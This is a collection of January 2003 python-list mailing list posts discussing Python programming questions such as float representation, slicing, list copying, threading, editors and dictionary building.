 up 40 days, 1:49, 7 users, load average: 0.60, 0.63, 0.62
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 196 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20030124/3fc1a7fb/attachment.sig>

From hancock at anansispaceworks.com  Mon Jan  6 22:36:13 2003
From: hancock at anansispaceworks.com (Terry Hancock)
Date: Tue, 07 Jan 2003 03:36:13 GMT
Subject: fixed point vs fixed decimal
References: <avcuj1$6a7$1@news.service.uci.edu> <v1k1tts6o9ta1e@news.supernews.com> <yu99bs2tvpl6.fsf@europa.research.att.com>
Message-ID: <NWrS9.17929$134.1894516@newsread1.prod.itd.earthlink.net>

There's a definite distinction between fixed-point and binary-coded decimal 
or other fixed decimal representations in what numbers they can represent 
exactly.  For example, 0.1 decimal is not a round binary value (it's 
0.0001100110011...).

So there's no exact correspondence between number of places in fixed 
decimal and fixed binary representations.  So, I'd have to say the OP is 
correct.

Cheers,
Terry

-- 
Anansi Spaceworks
http://www.anansispaceworks.com



From martin at v.loewis.de  Fri Jan  3 18:16:22 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 04 Jan 2003 00:16:22 +0100
Subject: how to submit a patch?
References: <3e160e11$0$229$a1866201@newsreader.visi.com> <slrnb1c3u0.3kp.gerhard.haering@lilith.my-fqdn.de> <3e1616fc$0$174$a1866201@newsreader.visi.com>
Message-ID: <m37kdl4yex.fsf@mira.informatik.hu-berlin.de>

grante at visi.com (Grant Edwards) writes:

> > http://www.python.org/dev/devfaq.html#patches
> > 
> > ?
> 
> No.  

Did you log-in, and fail to find the "Submit new" link, or did you
fail to log-in?

If the latter: the text didn't really say that you have to login (it
was only strongly recommended); this should be corrected now.

If the former: Can you propose specific wording to make it clearer?

Regards,
Martin




From rbsharp at gmx.de  Mon Jan 13 08:48:02 2003
From: rbsharp at gmx.de (Richard Sharp)
Date: Mon, 13 Jan 2003 14:48:02 +0100
Subject: C-ISAM
References: <pan.2003.01.12.12.12.55.655885@libero.it>
Message-ID: <pan.2003.01.13.13.48.00.700934@gmx.de>

On Sun, 12 Jan 2003 12:13:18 +0000, Matteo Memelli wrote:

> Anybody knows if and how is it possible to access to C-ISAM files with
> python? Is there any module or API to do that? Thx alot
> 
> Matte

If we are talking about the same thing, the short answer to your question
is yes, but I suspect that there is no ready software for doing the job.
For the Informix libraries I wrapped some C-Routine using SWIG and I can
at least confirm that it works.

At the time, the company I worked for had a number of C-Programs that were
actually used for accessing the database, so I didn't wrap the C_ISAM
Routines directly but instead wrapped those (application specific)
routines. But there should be no problem in wrapping the basic C-ISAM
routines.

Richard Sharp



From oblivious at web.de  Sat Jan  4 06:40:19 2003
From: oblivious at web.de (Dominic)
Date: Sat, 04 Jan 2003 12:40:19 +0100
Subject: Best Python Editor (under Linux)
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <slrnb18rrp.7kd.rmunn@rmunnlfs.dyndns.org> <slrnb19use.h00.grey@teleute.dmiyu.org> <3e154de3_2@mk-nntp-2.news.uk.tiscali.com> <3E156ABB.CC059072@alcyone.com> <pan.2003.01.03.13.48.50.113237@webone.com.au> <3E159693.28FEE9BC@alcyone.com> <pan.2003.01.04.01.01.52.354089@webone.com.au>
Message-ID: <3E16C823.4020705@web.de>

> One thing i noticed when teaching newbies with emacs: it's possible to do
> much damage with 2 or 3 keystrokes. But of course, we are not comparing

> emacs to vim; it took me about 10 years to recover from my initial
> shock-horror reaction to vi, but now i use it (well, vim) all the time :) .
Same with me. But it took me not ten years but only a few.
Currently I make gvim behave somewhat more like an average editor 
(Ctrl-S saves without leaving editing mode)
Syntax highlighting looks like in IDLE (though I messed up some files
in /usr/local/share/vim... etc to get rid of the bold font faces,since
colorschemes did not seem to override them..:( )
but I have not figured out yet how to integrate python similar to the 
C-compiler and make support.
I think it is even possible to limit vim to editing mode so that it
can be used like an average point-and-click editor.

Ciao,
  Dominic


> 
> bye,
> Simon Burton
> 




From dsilva at ccs.neu.edu  Wed Jan 29 17:16:32 2003
From: dsilva at ccs.neu.edu (Daniel Silva)
Date: Wed, 29 Jan 2003 17:16:32 -0500
Subject: __getitem__ and slices
Message-ID: <b19jvq$jap$1@camelot.ccs.neu.edu>

The Python Reference Manual states:

"The following methods can be defined to implement container objects. ...
The first set of methods is used either to emulate a sequence or to emulate
a mapping; the difference is that for a sequence, the allowable keys should
be the integers k for which 0 <= k < N where N is the length of the
sequence, or slice objects, which define a range of items. ...

__getitem__(self, key)
Called to implement evaluation of self[key]. For sequence types, the
accepted keys should be integers and slice objects."

http://www.python.org/doc/current/ref/sequence-types.html


This code, however, fails:

>>> [1,2,3].__getitem__(slice(1,2))
Traceback (most recent call last):
  File "<pyshell#17>", line 1, in ?
    [1,2,3].__getitem__(slice(1,2))
TypeError: an integer is required

whereas this works:
>>> [1,2,3][1:2]
[2]


It was my understanding that primary[start:stop] would be translated into
primary.__getitem__(slice(start,stop)).  Either the List __getitem__ method
or the documentation for sequences seems incorrect.


- Daniel





From sandorlevi at yahoo.com  Fri Jan 24 05:18:33 2003
From: sandorlevi at yahoo.com (Levente Sandor)
Date: 24 Jan 2003 02:18:33 -0800
Subject: python sandbox
References: <b0ougt$111ko7$1@hades.rz.uni-sb.de>
Message-ID: <8b5e42a6.0301240218.7b4d747e@posting.google.com>

Uwe Schmitt <uwe.schmitt at procoders.net> wrote in message news:<b0ougt$111ko7$1 at hades.rz.uni-sb.de>...
> Hi,
> 
> I wrote a simple sandbox for executing pyhton code in a
> restricted environment.
> The code can be downloaded from 
> http://www.procoders.net/download.php?fname=SandBox.py
> I appreciate any comments. I'm especially interested if
> my restrictions are secure or if they can be circumvented.
> 
> 
> Greetings, Uwe.

Are there any advantages of your code versus the rexec module?

----
levi



From martin at v.loewis.de  Wed Jan  8 10:09:27 2003
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Wed, 08 Jan 2003 16:09:27 +0100
Subject: no side effects
In-Reply-To: <20030108160031.C349@prim.han.de>
References: <2259b0e2.0301080510.3b2e5d4f@posting.google.com> <mailman.1042033754.17715.python-list@python.org> <avhbmr$7ib$06$1@news.t-online.com> <20030108160031.C349@prim.han.de>
Message-ID: <3E1C3F27.1080009@v.loewis.de>

holger krekel wrote:
> 'i' might not be local but usually it is.  When answering 
> newcomer questions i try to refrain from talking in language
> lawyer details (as much as possible).  I only tried to explain the 
> for-loop from the viewpoint of names bound to objects.  I didn't 
> want to compare iteration protocols between python and C++ just 
> to explain that. 

I'm uncertain though whether an actually incorrect explanation helps the 
newcomer. Namespaces are totally irrelevant for this feature of the for 
loop. The fact that there is a hidden index variable should be easy to 
understand for each newcomer (the fact that the index variable now is an 
iterator might be confusing, though).

Regards,
Martin







From richie at entrian.com  Tue Jan 21 05:14:41 2003
From: richie at entrian.com (Richie Hindle)
Date: 21 Jan 2003 02:14:41 -0800
Subject: socket programming strategy
References: <000601c2bf1d$df4b3540$9e88013d@JeethuRao> <mailman.1042939895.31788.python-list@python.org>
Message-ID: <8a6ba1da.0301210214.6183c312@posting.google.com>

[Andrew Bennetts]
> An example of doing this in Twisted

This is a wonderful example - thanks for taking the time to post it!

> I've tested this on linux, but Twisted can do this just as well on win32.

It works out of the box on Windows XP.

-- 
Richie Hindle
richie at entrian.com



From donn at u.washington.edu  Fri Jan 10 13:20:55 2003
From: donn at u.washington.edu (Donn Cave)
Date: 10 Jan 2003 18:20:55 GMT
Subject: Novel Thoughts on Scripting and Languages
References: <52719db8.0301062130.5299a0ff@posting.google.com> <mailman.1041979908.27085.python-list@python.org> <52719db8.0301071942.7d23cc46@posting.google.com> <mailman.1042038801.29977.python-list@python.org> <52719db8.0301082116.50572416@posting.google.com> <avj741$r77$1@slb3.atl.mindspring.net> <52719db8.0301092211.60ae0618@posting.google.com> <avn0pk$cmq$1@slb9.atl.mindspring.net>
Message-ID: <avn2u7$1qdo$1@nntp6.u.washington.edu>

Quoth Andrew Dalke <adalke at mindspring.com>:
...
| The Python party line (which I agree with) is that there are plenty
| of other errors which can arise in programming.  Type checking is
| one way to find those errors, but a good regression suite -- which
| you need in any case -- catches nearly all the errors that type
| checking would have caught, and catch more.  The downside of static
| typing is that you have to enter in all those types, so the code is
| more verbose and harder to read, understand, and maintain.
|
|> To me, Python and Java are similar because they both support class and
|> inheritance, and garbage collection. I wouldn't say C++ and Python are
|> similar. Of course, variable declaration or not, blah blah ...
|
| Hmm... OCaml supports classes
|
| http://caml.inria.fr/ocaml/htmlman/manual005.html#ss:classes-and-objects
|
| and inheritance
|
| http://caml.inria.fr/ocaml/htmlman/manual005.html#ss:inheritance

And it supports type inference.  Statically typed, but you don't
``have to enter in all those types.''

| but it's a functional language.  I think again (as others have asserted)
| that your exprience in programming languages needs some broadening.

Yes, and to pay more attention to what we can learn from that experience.

	Donn Cave, donn at u.washington.edu



From jsdfadfasfsda at dfsdfssdfa.invalid  Sat Jan  4 21:53:26 2003
From: jsdfadfasfsda at dfsdfssdfa.invalid (Jive Dadson)
Date: Sat, 04 Jan 2003 18:53:26 -0800
Subject: threading module
Message-ID: <3E179E26.804C267A@dfsdfssdfa.invalid>

Can anyone tell me who wrote the threading module?  There are some
aspects of it that I would like to discuss.

Jive

jdadson (at) ix (dot) netcom (dot) com





From martin at v.loewis.de  Fri Jan 24 09:59:58 2003
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Fri, 24 Jan 2003 15:59:58 +0100
Subject: killing thread ?
In-Reply-To: <b0rhl7$112v7d$2@hades.rz.uni-sb.de>
References: <b0r1ds$10s0fi$1@hades.rz.uni-sb.de> <mailman.1043410542.25830.python-list@python.org> <b0rhl7$112v7d$2@hades.rz.uni-sb.de>
Message-ID: <b0rkdb$g9l$01$1@news.t-online.com>

Uwe Schmitt wrote:
> But what if I want to end a thread which hangs because
> it uses 'exec' on some code which loops forever ?

You lose. There is no way to cancel a thread, period.

> I discovered the _Thread__stop() method of threading.Thread object.
> It works. But that seems to be some dirty hack...

What do you mean by "it works"? It does not terminate the thread (just 
read its source code if you don't believe me). If you call it in the 
context of another thread, it has all kinds of funny effects, which is 
why it is a private method (and really spelled __stop).

Regards,
Martin




From dvrbts at nr.usu.edu  Mon Jan 13 20:07:51 2003
From: dvrbts at nr.usu.edu (Dave Roberts)
Date: Mon, 13 Jan 2003 18:07:51 -0700
Subject: PyGreSQL and HTML
Message-ID: <3E2362E7.4F9D69E2@nr.usu.edu>

Does anyone know how to shift postgres into html table mode from inside
PyGreSQL?

>From inside postgres it's simple:  \pset format html

However, all my attempts to pass postgres that string from inside
PyGreSQL seem to get trapped by the interpreter.  I'm trying to use
python cgi scripts to present queries, and since the output is going to
stdout (the browser), if I could just kick postgres into html it would
be self-presenting.

Thanks, Dave R. 
-- 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
David W. Roberts                                  office: 435-797-2416
Interim Head                                         FAX: 435-797-3796
Department of Forest, Range, and              email: dvrbts at nr.usu.edu
   Wildlife Sciences                URL: http://www.nr.usu.edu/~dvrbts
Utah State University
Logan, UT 84322-5230
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~



From vvainio at tp.spt.fi  Fri Jan 31 06:20:11 2003
From: vvainio at tp.spt.fi (Ville Vainio)
Date: 31 Jan 2003 03:20:11 -0800
Subject: Help a C++ coder see the light
References: <memo.20030130181135.820C@a.radioscape.com>
Message-ID: <ad496f8.0301310320.4ea193c5@posting.google.com>

mark.charsley at REMOVE_THIS.radioscape.com (Mark Charsley) wrote in message news:<memo.20030130181135.820C at a.radioscape.com>...

> As far as I can tell, the only way to have the same confidence in ones 
> code as you'd get with C++ (albeit using code that might take you a lot 

You have confidence in the code you write in C++? Now that's what I
call misplaced optimism...

Seriously though, even though the error you mention might require
extra testing, at least the errors can be fixed immediately when they
occur. When my C++ program crashes (in production environment w/o 
debugging tools), I get annoyed because I know I have to try to
replicate the error and tighten the logging to pin down the location.
When a Python program crashes (which it does, instead of happily
continuing after writing garbage to adjacent memory buffer), I'm happy
because I have found and immediately squashed yet another bug. There
is no need for heavy debugging machinery, someone just sends you a
traceback via email or whatever.

> However there are large programs out there written in python, so it 
> obviously can be done. So are folks here just preternaturally good 

When my python programs get bigger, I feel more and more happy that
the program is indeed in Python, not C++. One tends to write more OO
code in Python, while in C++ programming in OO style is awkward, which
tends to increase the amount of lazy hacks that harm the growth
potential of the program. You can also totally ignore many security
considerations of large bodies of C/C++ code (buffer overflows).



From mwm at mired.org  Wed Jan 29 23:34:58 2003
From: mwm at mired.org (Mike Meyer)
Date: Thu, 30 Jan 2003 04:34:58 GMT
Subject: best way to do some simple tasks
References: <c42e062e.0301291531.6a656e4@posting.google.com> <mailman.1043884154.31487.python-list@python.org>
Message-ID: <x7of5z1ci3.fsf@guru.mired.org>

Jp Calderone <exarkun at intarweb.us> writes:
> On Wed, Jan 29, 2003 at 03:31:59PM -0800, Erik Lechak wrote:
> > 3) What is the best way to do this?
> > 
> >    a=[1,2,3]
> >    b=[1,1,1]
> >    
> >    how do I get c=a+b (c=[2,3,4])?
> > 
>      import operator
>      c = map(operator.add, a, b)

You can save the import with a bit of extra ugliness:

        c = map(int.__add__, a, b)


        <mike
-- 
Mike Meyer <mwm at mired.org>			http://www.mired.org/home/mwm/
Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information.



From aleax at aleax.it  Wed Jan 29 05:56:57 2003
From: aleax at aleax.it (Alex Martelli)
Date: Wed, 29 Jan 2003 10:56:57 GMT
Subject: Dumb Q #1
References: <3e35fde8_3@corp.newsgroups.com> <mailman.1043758549.8656.python-list@python.org> <3e375ba6_3@corp.newsgroups.com>
Message-ID: <ZrOZ9.134091$AA2.5576398@news2.tin.it>

Norm wrote:

> These replies were great!  I've been reading python books every night, but
> having live thoughts and explanations really help.
> 
> Could you / would you expound on what you mean in #1 of your answer?
> iterate a slice of it, ie:   for record in records[:]:       I'm having
> trouble visualizing it.

It's not really relevant to your original question (for which the
simplest, soundest approach is to use "for i in range(len(records)):"
instead).  But suppose you had the following problem, e.g.:

"records is a list of strings.  Append to that list a copy of each
string in it that ends with a colon, shorn of its first character."

The intuitive approach might be...:

>>> records='uno due: tre qua:'.split()
>>> for r in records:
...   if r.endswith(':'):
...     records.append(r[1:])
...
>>> records
['uno', 'due:', 'tre', 'qua:', 'ue:', 'ua:', 'e:', 'a:', ':', ':', '', '']
>>>

As you see it doesn't work as intended -- BECAUSE the loop is
modifying the very list on which it's iterating.  In this case
the loop "sees" the items appended by earlier legs of the same
loop and ends up working on them too; in other cases it could
be even worse, e.g. if you didn't have the "shorn of its first
character" part you'd end up looping forever.

The loop needs to modify a list DISTINCT from the one it's looping
on.  Since the specs say that you must modify 'records', it's
simplest and most natural to loop on a list distinct from
'records' -- a COPY of list 'records' -- so that further changes
to list 'records' will not change the copy.

Simplest way to get "a copy of list 'records'" in Python is by
the expression:
    records[:]
which is a "whole-list slice", common idiom for "a copy".  So:

>>> records='uno due: tre qua:'.split()
>>> for r in records[:]:
...   if r.endswith(':'):
...     records.append(r[1:])
...
>>> records
['uno', 'due:', 'tre', 'qua:', 'ue:', 'ua:']
>>>

...exactly as desired.  Alternatively,

>>> import copy
>>> for r in copy.copy(records):
(rest same as above again)

might be considered a clearer, more readable, more explicit
way to do the same job -- module copy has the SPECIFIC task
of letting you ask for a copy of any kind of object.  However,
the "whole-list slice" idiom is SO common (even though not
QUITE as readable) that you'd better acquaint yourself with
it, to ease reading of other people's code, even if you (quite
sensibly IMHO) choose to standardize your OWN coding on the
use of module copy to ask for copies.


Alex





From jbperez808 at yahoo.com  Mon Jan 13 17:44:51 2003
From: jbperez808 at yahoo.com (Jonathan P.)
Date: 13 Jan 2003 14:44:51 -0800
Subject: fast way of turning a list of integers<256 into a string
Message-ID: <f57664b9.0301131444.26ca3b43@posting.google.com>

s=''
for i in range(1,255):
  s+=chr(i)

has horrible performance (primarily due to string
immutability I think).  Is there a function to do
the ff. instead:

x=range(1,255)
list2str(x)

and have x become a string?



From Yu.Wang at synopsys.com  Tue Jan  7 00:37:54 2003
From: Yu.Wang at synopsys.com (Yu Wang)
Date: Tue, 07 Jan 2003 13:37:54 +0800
Subject: YATOPS (Yet Another Thread on Python's Speed) (was Re: HELP!
 Must choose  language!)
In-Reply-To: <200301070058.46770.andy@eastonwest.co.uk>
References: <20030101042101.1615.84075.Mailman@mail.python.org> <mailman.1041471183.23600.python-list@python.org> <3E144BFC.399B8510@engcorp.com> <200301070058.46770.andy@eastonwest.co.uk>
Message-ID: <3E1A67B2.20205@synopsys.com>


andy wrote:

>Speed is so subjective!  A bad algorithm will make a bad program in any 
>language!
>
>  
>
Agree :) "Computer Science is something about algorithm" I cannot 
remember the exact sentence.
But it should be  Knuth's  remark :)

>Python may be interpreted, and may not execute at /n/ mflops, but what it 
>lacks in /raw/ oomph, it really makes up for in /efficiency/ and 
>/development/ /speed/!  The stuff that needs to be fast, generally is, and 
>the rest generally doesn't matter to me...
>
>Beats batch-script senseless, and you can still read (and understand) code a 
>year later (unlike perl,C/C++ etc.).
>
Here, it just spurs me to add some agreements to this thread, though I'm 
thinking about stop
to add more "stupid comments" to it :)
The elegancy of codes organization is the first promotion to my studying 
python.
I still remember my CSH scripts full of "$" and "\" "/" that make my 
eyes green.
I'm wondering whether there'll be a easy way to implement Shell commands.
Like Perl does with "``".

>
>I like Python.
>
Me too :)

>
>regards, 
>-andyj
>
>
>
>  
>

-- 
Best Regards!

Yu Wang






From trash at terastat.com  Sat Jan 25 10:57:13 2003
From: trash at terastat.com (bap)
Date: Sat, 25 Jan 2003 15:57:13 GMT
Subject: Using ActiveX objects in Win32
Message-ID: <ttyY9.30486$eM6.43059@rwcrnsc51.ops.asp.att.net>

Can anyone point me to documentation on how to use ActiveX objects in a
Windows environement.
I know of the anydll module for dlls -- does this work for ActiveX object?
I'm looking for the equivalent of
"createobject()" in VB
Thanks
--
Bruce Peterson
TeraStat inc.
bapeters at terastat.com





From exarkun at intarweb.us  Thu Jan 23 18:56:26 2003
From: exarkun at intarweb.us (Jp Calderone)
Date: Thu, 23 Jan 2003 18:56:26 -0500
Subject: Why is 2.3 = 2.2999999999999998 ?
In-Reply-To: <b0puig$o99@news.Informatik.Uni-Oldenburg.DE>
References: <b0puig$o99@news.Informatik.Uni-Oldenburg.DE>
Message-ID: <20030123235626.GA11808@meson.dyndns.org>


On Fri, Jan 24, 2003 at 12:11:47AM +0100, Arne Koewing wrote:
> my puthon installation seems to ce confused about floats...

  Certain numbers are not exactly representable in base two (short of using
an infinite amount of memory).  Compare this to the decimal representation
of one third.   0.333...   This is a common problem, associated with
floating points in pretty much every programming language (for binary
computers).

  Jp

-- 
"One World, one Web, one Program." - Microsoft(R) promotional ad
"Ein Volk, ein Reich, ein Fuhrer." - Adolf Hitler
-- 
 up 39 days, 3:48, 1 user, load average: 1.68, 1.62, 1.64
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 196 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20030123/64ca6544/attachment.sig>

From grey at despair.dmiyu.org  Sun Jan  5 17:25:45 2003
From: grey at despair.dmiyu.org (Steve Lamb)
Date: Sun, 05 Jan 2003 22:25:45 -0000
Subject: Best Python editor (under Linux)
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <025d32cf-da98-4afa-ab9f-2f3f978a9c38@news.szn.dk> <6lea1vop870pak8iuohinerilg304sd493@4ax.com> <slrnb19vmq.h00.grey@teleute.dmiyu.org> <87d6neay90.fsf@gvdnet.dk> <slrnb1bnuk.o8n.grey@teleute.dmiyu.org> <av6v8k$h18$0@216.39.172.122> <slrnb1ef1h.4l0.grey@teleute.dmiyu.org> <av7tcs$je4$0@216.39.172.122> <slrnb1f9jg.83j.grey@teleute.dmiyu.org> <mailman.1041754388.14454.python-list@python.org>
Message-ID: <slrnb1hc79.eua.grey@teleute.dmiyu.org>

On Sun, 05 Jan 2003 09:10:06 +0100, Laura Creighton <lac at strakt.com> wrote:
> Editors were invented before we had window systems.  I think if we had 
> invented them in the other order we wouldn't have invented editors at
> all, but just built editing functionality into our window system.  

    Obviously you're ignoring the capability in advanced GUI systems to embed
different programs into themselves.  Take a look at BeOS where you could embed
virtually anything into anything else.  

    We'd still have editors.  We'd just choose which one was embedded into the
application instead of having to go through the external calls we should do
now. 

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
    To email: Don't despair!   |  -- Lenny Nero, Strange Days
-------------------------------+---------------------------------------------



From exarkun at intarweb.us  Thu Jan 16 12:00:49 2003
From: exarkun at intarweb.us (Jp Calderone)
Date: Thu, 16 Jan 2003 12:00:49 -0500
Subject: Bug with super() and reload()?
In-Reply-To: <of6h1crt.fsf@python.net>
References: <of6h1crt.fsf@python.net>
Message-ID: <20030116170049.GA16866@meson.dyndns.org>

On Thu, Jan 16, 2003 at 01:48:22PM +0100, Thomas Heller wrote:
> I stumbled over the following problem with super() and reload().
> 
> Consider this module:
> 
> [snip code]
> 
> prints this traceback:
> 
>     Y.test
>     Traceback (most recent call last):
>       File "<stdin>", line 8, in ?
>       File "mod.py", line 8, in test
>         super(Y, self).test()
>     TypeError: super(type, obj): obj must be an instance or subtype of type
> 
> Thinking hard, I can understand why this traceback occurs: The object
> 'y' is not an instance of the 'Y' refered to in the source code.
> 
> Should this be considered a bug, or is it simply a wart, and reload
> should be avoided?

  One could look at it as a wart, though I personally wouldn't.  Regardless,
it can be worked around.

See twisted.python.rebuild (http://www.twistedmatrix.com) for an example of
how ;)

  Jp

-- 
There are 10 kinds of people: those who understand binary and those who do
not.
--
 12:00am up 31 days, 9:48, 2 users, load average: 0.07, 0.09, 0.04
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 196 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20030116/d4ce9cc6/attachment.sig>

From p-abel at t-online.de  Sat Jan 18 14:49:22 2003
From: p-abel at t-online.de (Peter Abel)
Date: 18 Jan 2003 11:49:22 -0800
Subject: list_to_dict()
References: <b06i9j$art$1@wheel2.two14.net> <mailman.1042735479.28310.python-list@python.org> <b06v5g$auj$2@wheel2.two14.net> <13a533e8.0301170008.34cd26ba@posting.google.com> <b0aggh$e7m$4@wheel2.two14.net>
Message-ID: <13a533e8.0301181149.493fde87@posting.google.com>

Martin Maney <maney at pobox.com> wrote in message news:<b0aggh$e7m$4 at wheel2.two14.net>...
> Peter Abel <p-abel at t-online.de> wrote:
> > Sorry, when i didn't read the thread quite exactly,
> > but I think your basic problem is something like this, which can
> > be easily solved.
> > I'm using PYTHON 2.2.2:
> >>>> l1=['zero','one','two','three']
> >>>> l2=range(5)
> >>>> l1
>  ['zero', 'one', 'two', 'three']
> >>>> l2
>  [0, 1, 2, 3, 4]
> >>>> di=dict(zip(l1,l2))
> >>>> di
> > {'zero': 0, 'three': 3, 'two': 2, 'one': 1}
> 
> It is something like that, but the difference is sort of crucial.  For
> the dictionary in your example, the source would be the single sequence
> 
> (('zero',0),('one',1),('two',2)('three',3))
> 
> Except that in practice, the key may be more than one field of the
> nested sequences, as may the value.  So this doesn't reduce to a simple
> dict(zip(...)) for any simple '...'
> 
> Besides, the dict() constructor seems not to exist prior to 2.2, and at
> this time I still need most of my code to coexist with 2.1. 
> Furthermore, when I ran some simple benchmarks, calling a separate
> function ran significantly faster than an inline dict(zip(...)) for the
> small (five to ten items) cases I'm most frequently building.  I think
> I emailed the test proggy home before I left the lab - have to look for
> it tomorrow.
> 
> Here's the bare sketch:
> 
> def dzip(keys, values):
>     res = {}
>     for k,v in zip(keys, values):
>         res[k] = v
>     return res
> 
> foo = dzip(field_names, field_values)
> 
> runs faster than
> 
> foo = dict(zip(field_names, field_values))
> 
> for cases where there are a few to a few tens of names & values.  Hmmm,
> just occurred to me that, although I tried making local bindings for
> other things, I never did that to dict or zip...
> 
> Okay, definitely need to repoen this can of worms... later.

Well, in order not to post some stupid thoughts I read the whole thread again,
and I think having understood that there may be 2 basic problems:
1) to generate the keys and the values by a special algo what is
   nicely solved by Martin v. L?wis in my opinion
2) optimizing for time as you showed with the dzip-function
   which can be optimized with some effort.
   e.g.:
>>> def myzip(keys,values):
... 	res={}
... 	map(lambda x,y:res.setdefault(x,y),keys,values)
... 	return res

   And I think it goes with python 2.1. or earlier.
   A little time_test(number_of_keys) - function which generates
   simple 5-random-letters-keys and a value-list as range(number_of_keys)
   will show an increase in speed.
>>> time_test(50000)
dzip  :  0.28100001812
myzip :  0.140999913216
>>> time_test(500000)
dzip  :  3.31200003624
myzip :  1.59399998188

Peter
PS. Though I like the map-function, because it's short and pithy,
    I don't like it very much in situations like this, because it's
    used like a procedure (as in pascal or fortran), but it's a function
    that returns a list, which is thrown in the wind.



From gerrit at nl.linux.org  Fri Jan 24 14:39:28 2003
From: gerrit at nl.linux.org (Gerrit Holl)
Date: Fri, 24 Jan 2003 20:39:28 +0100
Subject: 2D lists
In-Reply-To: <b0m749$110$1@news.tpi.pl>
References: <c7486c63.0301201106.681eece8@posting.google.com> <b0m749$110$1@news.tpi.pl>
Message-ID: <20030124193928.GA2833@nl.linux.org>

Wojtek Walczak schreef op woensdag 22 januari om 14:46:47 +0000:
> Why isn't it mentioned in the FAQ (well, at least it's hard to find) ?
> It's a really frequent question, isn't it ? :)

http://www.python.org/doc/FAQ.html#4.50
4.50. My multidimensional list (array) is broken! What gives?
You probably tried to make a multidimensional array like this.

   A = [[None] * 2] * 3

This makes a list containing 3 references to the same list of length two. Changes to one row will show in all rows, which is probably not what you want. The following works much better:

   A = [None]*3
   for i in range(3):
        A[i] = [None] * 2

This generates a list containing 3 different lists of length two.

If you feel weird, you can also do it in the following way:

   w, h = 2, 3
   A = map(lambda i,w=w: [None] * w, range(h))

For Python 2.0 the above can be spelled using a list comprehension:

   w,h = 2,3
   A = [ [None]*w for i in range(h) ]

yours,
Gerrit.

-- 
Asperger Syndroom - een persoonlijke benadering:
	http://people.nl.linux.org/~gerrit/
Het zijn tijden om je zelf met politiek te bemoeien:
	http://www.sp.nl/




From james.kew at btinternet.com  Sun Jan 19 15:20:04 2003
From: james.kew at btinternet.com (James Kew)
Date: Sun, 19 Jan 2003 20:20:04 -0000
Subject: Overloading methods in C API
References: <2ufi2vkrpg6rikt5sv0tf5f8klfruerqlg@4ax.com> <m33cnq4qqr.fsf@mira.informatik.hu-berlin.de> <bsoi2v4rokh97unbdnfa9pndd8cctjd6ru@4ax.com> <slrnb2itok.8di.grante@localhost.localdomain> <Xns9307CD595EDCBrcamesz@amesz.demon.nl> <slrnb2jcl0.8mr.grante@localhost.localdomain> <b0cdjh$nsnhe$1@ID-71831.news.dfncis.de> <slrnb2jqiv.91m.grante@localhost.localdomain> <mailman.1042934674.24272.python-list@python.org> <slrnb2k5qs.93i.grante@localhost.localdomain> <b0e6cm$oj4ul$1@ID-71831.news.dfncis.de> <m3adhx6nj1.fsf@mira.informatik.hu-berlin.de>
Message-ID: <b0f19p$nk0al$1@ID-71831.news.dfncis.de>

Martin v. L?wis wrote:
> unary and binary + should be considered overloaded operators.

Python thinks they're distinct: __pos__ and __add__.

However,

> My guess is that people who had formal training in a single language
> will associate any term with the definition that this term had for
> this language.

You're right: my C-with-a-smattering-of-C++ background is showing and I was
interpreting "operator overloading" as "overloadable by the programmer". A
tip of the hat to you and Grant for demonstrating to me how it can have
wider meaning.

--
James Kew
james.kew at btinternet.com





From martin.schmettow at bibliothek.uni-regensburg.de  Mon Jan 13 10:25:42 2003
From: martin.schmettow at bibliothek.uni-regensburg.de (Martin Schmettow)
Date: Mon, 13 Jan 2003 16:25:42 +0100
Subject: XML and Python
In-Reply-To: <d116fbae.0301111020.69245998@posting.google.com>
References: <C6XS9.23024$eB1.1059867@twister.southeast.rr.com> <aj9q1v47i1pmjlrv2v3uhag3a301is0f3u@4ax.com> <d116fbae.0301111020.69245998@posting.google.com>
Message-ID: <avulm9$dc9$1@rrzd1.rz.uni-regensburg.de>

Hi.

A related question: Some of the methods for Element-Nodes in xml.dom 
seem to be missing in Ft.Xml.Domlette. For example: hasAttribute, 
setAttribute, getAttribute.
Is there any documentation, which exactly mentions the methods 
available in Domlette and those not?

Thanks.
Martin.

Uche Ogbuji wrote:
> For those who follow this advice, may I suggest my companion article
> to the book?:
> 
> http://www.xml.com/pub/a/2002/12/11/py-xml.html
> 
> Which provides many notes and updates on this book, and its examples. 
> For example, I gather that this article would have saved Martin
> Schmettow a lot of time.




From Kevin.Smith at sas.com  Fri Jan 17 09:45:27 2003
From: Kevin.Smith at sas.com (Kevin Smith)
Date: 17 Jan 2003 14:45:27 GMT
Subject: Syntax modification idea: (classmethods, properties locking...)
References: <b077d1$7ag@news.Informatik.Uni-Oldenburg.DE> <fuk70b.il3.ln@beastie.ix.netcom.com>
Message-ID: <20030117094527852-0500@braeburn.themorgue.org>

This matter was brought up when classmethod/staticmethods were first 
introduced (coincidentally, by me).  My favorite solution at the time (I 
don't remember who introduced it) was:

   def classmethod foo(...):
   def staticmethod bar(...):

Under the covers, this could do the same thing as 'foo = classmethod(foo)
', but would also allow people to write their own modifiers.  Chaining 
them could look like:

   def classmethod protected foo(...):

and would effectively do 'foo = classmethod(protected(foo))'.  I really 
hope this gets more attention because I find the current method of 
creating static and class methods so distasteful that I usually try to 
avoid them.


